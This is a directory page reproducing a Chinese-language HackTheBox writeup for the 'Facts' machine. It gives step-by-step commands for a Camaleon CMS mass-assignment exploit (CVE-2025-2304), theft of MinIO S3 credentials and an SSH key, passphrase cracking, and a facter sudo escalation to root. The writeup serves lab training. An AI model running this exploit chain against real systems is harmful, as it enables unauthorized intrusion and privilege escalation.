Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
HTB-Facts-Writeup — HackTheBox Facts 机器解密文章——CVE-2025-2304、MinIO S3 枚举、SSH 密钥破解以及 facter 权限提升。 | Kitploit
工具/GitHubGitHub/karimelsheikh1/htb-facts-writeup
密码破解权限提升侦察漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试云安全学习与教育
GitHubkarimelsheikh1/htb-facts-writeup

HTB-Facts-Writeup

HackTheBox Facts 机器解密文章——CVE-2025-2304、MinIO S3 枚举、SSH 密钥破解以及 facter 权限提升。

3个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

HackTheBox — Facts 机器解析

HackTheBox Difficulty OS

机器信息

字段详情
名称Facts
操作系统Linux
难度Easy
发布赛季第10赛季
退役状态否

攻击链概览

root@kitploit:~
Recon → Web Enumeration → CVE-2025-2304 (Mass Assignment) → S3/MinIO Credential Leak → SSH Key Extraction → Passphrase Cracking → User Shell → facter Sudo Abuse → Root

使用的工具


侦察

端口扫描

root@kitploit:~
sudo nmap -p- --min-rate 5000 -T4 <TARGET_IP> -oN ports.nmap
sudo nmap -sV -sC -p 22,80,54321 <TARGET_IP>

结果:

root@kitploit:~
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu
80/tcp    open  http    nginx 1.26.3 (Camaleon CMS)
54321/tcp open  http    MinIO S3 Server
root@kitploit:~
echo "<TARGET_IP> facts.htb" | sudo tee -a /etc/hosts

Web 枚举

root@kitploit:~
feroxbuster -u http://facts.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 40
curl -s http://facts.htb/robots.txt
curl -s http://facts.htb/sitemap.xml

关键发现:

  • 识别出 CMS:Camaleon CMS 2.9.0
  • 管理面板:http://facts.htb/admin/login
  • 注册页面:http://facts.htb/admin/register

初始访问

步骤 1 — 注册账户

访问 http://facts.htb/admin/register 并创建一个账户。注意有验证码——通过浏览器注册。

步骤 2 — CVE-2025-2304 (批量赋值权限提升)

updated_ajax 端点使用了 permit!,允许更新包括 role 在内的所有参数。

root@kitploit:~
git clone https://github.com/Alien0ne/CVE-2025-2304
cd CVE-2025-2304
python3 exploit.py -u http://facts.htb -U <username> -P <password> -e

输出:

root@kitploit:~
[+] Login confirmed
    Current User Role: client
[+] Updated User Role: admin
[+] Extracting S3 Credentials
    s3 access key: AKIAA5CA83CCFE35CD69
    s3 secret key: zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n
    s3 endpoint:   http://localhost:54321

云枚举 — MinIO S3

端口 54321 运行着一个兼容 MinIO S3 的服务器。使用泄露的凭据:

root@kitploit:~
import boto3
from botocore.client import Config

s3 = boto3.client(
    's3',
    endpoint_url='http://facts.htb:54321',
    aws_access_key_id='AKIAA5CA83CCFE35CD69',
    aws_secret_access_key='zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n',
    config=Config(signature_version='s3v4'),
    region_name='us-east-1'
)

paginator = s3.get_paginator('list_objects_v2')
for page in paginator.paginate(Bucket='internal'):
    for o in page.get('Contents', []):
        if 'info-etags' not in o['Key']:
            print(o['Key'])
            s3.download_file('internal', o['Key'], '/tmp/' + o['Key'].replace('/', '_'))

发现的关键文件:

root@kitploit:~
.ssh/authorized_keys
.ssh/id_ed25519        ← SSH 私钥
.profile
.bashrc

SSH 密钥破解

root@kitploit:~
chmod 600 /tmp/.ssh_id_ed25519
ssh2john /tmp/.ssh_id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

破解的密码短语: dragonballz


用户 Shell

root@kitploit:~
ssh -i /tmp/.ssh_id_ed25519 [email protected]
# Enter passphrase: dragonballz
root@kitploit:~
cat /home/william/user.txt

权限提升

枚举

root@kitploit:~
sudo -l
root@kitploit:~
(ALL) NOPASSWD: /usr/bin/facter

利用 — facter 自定义 Fact (Ruby 代码执行)

Facter 将自定义 fact 作为 Ruby 脚本加载。由于我们可以无需密码以 root 身份运行它,因此我们注入任意 Ruby 代码:

root@kitploit:~
mkdir -p /tmp/facts
cat > /tmp/facts/pwn.rb << 'EOF'
Facter.add(:pwn) do
  setcode do
    exec("/bin/bash -p")
  end
end
EOF

sudo facter --custom-dir=/tmp/facts pwn

获得 Root Shell!

root@kitploit:~
whoami   # root
cat /root/root.txt

关键要点

  • 批量赋值漏洞允许在输入未正确过滤时提升权限
  • 配置错误的 S3/MinIO存储桶可能暴露敏感文件,包括 SSH 私钥
  • SSH 密钥上的弱密码短语可以使用 rockyou 等常见字典破解
  • NOPASSWD sudo二进制文件必须始终检查滥用潜力
  • 串联小错误配置可能导致系统完全沦陷

参考资料

  • CVE-2025-2304 — Camaleon CMS 批量赋值
  • GTFOBins — facter
  • HackTheBox

此解析仅供教育目的。始终在你拥有或已获得明确测试许可的系统上进行安全测试。

下载工具
工具用途
Nmap端口扫描与服务检测
FeroxbusterWeb 目录枚举
CVE-2025-2304 PoCCamaleon CMS 权限提升
boto3 (Python)MinIO/S3 枚举与文件下载
ssh2john将 SSH 密钥转换为可破解哈希
John the Ripper破解 SSH 密钥密码短语
facter通过 sudo 错误配置进行权限提升